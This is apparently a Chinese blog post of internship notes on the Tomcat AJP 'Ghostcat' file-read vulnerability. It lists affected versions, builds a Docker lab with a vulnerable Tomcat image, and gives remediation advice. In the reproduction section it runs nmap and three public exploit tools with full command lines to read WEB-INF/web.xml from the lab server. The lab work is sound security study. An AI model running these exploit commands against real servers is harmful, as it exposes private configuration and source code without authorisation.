前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >实习记录(五) - AJP协议文件读取漏洞

实习记录(五) - AJP协议文件读取漏洞

作者头像
Naraku
发布2021-07-29 11:25:48
8210
发布2021-07-29 11:25:48
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

漏洞介绍

Tomcat在 server.xml中配置了两种连接器:

  • HTTP Connector:监听8080端口,负责建立HTTP连接。在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器。
  • AJP Connector:监听8009端口,负责和其他的HTTP服务器建立连接,通过AJP协议和另一个Web容器进行交互。

Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而Tomcat服务器8009端口上的AJP协议存在漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等

影响版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

漏洞复现

靶场搭建

  • 这里使用Docker部署环境。搜索受影响版本的Tomcat的镜像,这里选择 Tomcat-8.5.32
代码语言:javascript
复制
$ docker search tomcat-8.5
$ docker pull duonghuuphuc/tomcat-8.5.32
AJP-1.jpg
AJP-1.jpg
  • 拉取完成后运行,并通过浏览器访问 http://<靶场IP>:8080
代码语言:javascript
复制
$ docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
  • Nmap扫描
代码语言:javascript
复制
$ nmap <靶场IP>
AJP-2.jpg
AJP-2.jpg

AjpShooter

代码语言:javascript
复制
$ python ajpShooter.py http://<靶场IP> 8080 WEB-INF/web.xml read
AJP-3.jpg
AJP-3.jpg

Ghostcat

代码语言:javascript
复制
$ python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py <靶场IP> -p 8009 -f WEB-INF/web.xml
AJP-4.jpg
AJP-4.jpg

AJPy

代码语言:javascript
复制
$ python tomcat.py --port <port> version <IP>  # 版本探测
$ python tomcat.py read_file --webapp=manager /WEB-INF/web.xml  <地址> # 文件读取
AJP-5.jpg
AJP-5.jpg

修复建议

更新Tomcat到安全版本

关闭AJP:编辑 Tomcat 配置文件 conf/server.xml,找到如下行并将其注释,然后保存配置文件并重新启动Tomcat

其它


本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020 年 07 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞介绍
  • 影响版本
  • 漏洞复现
    • 靶场搭建
      • AjpShooter
        • Ghostcat
          • AJPy
          • 修复建议
          • 其它
          相关产品与服务
          容器服务
          腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档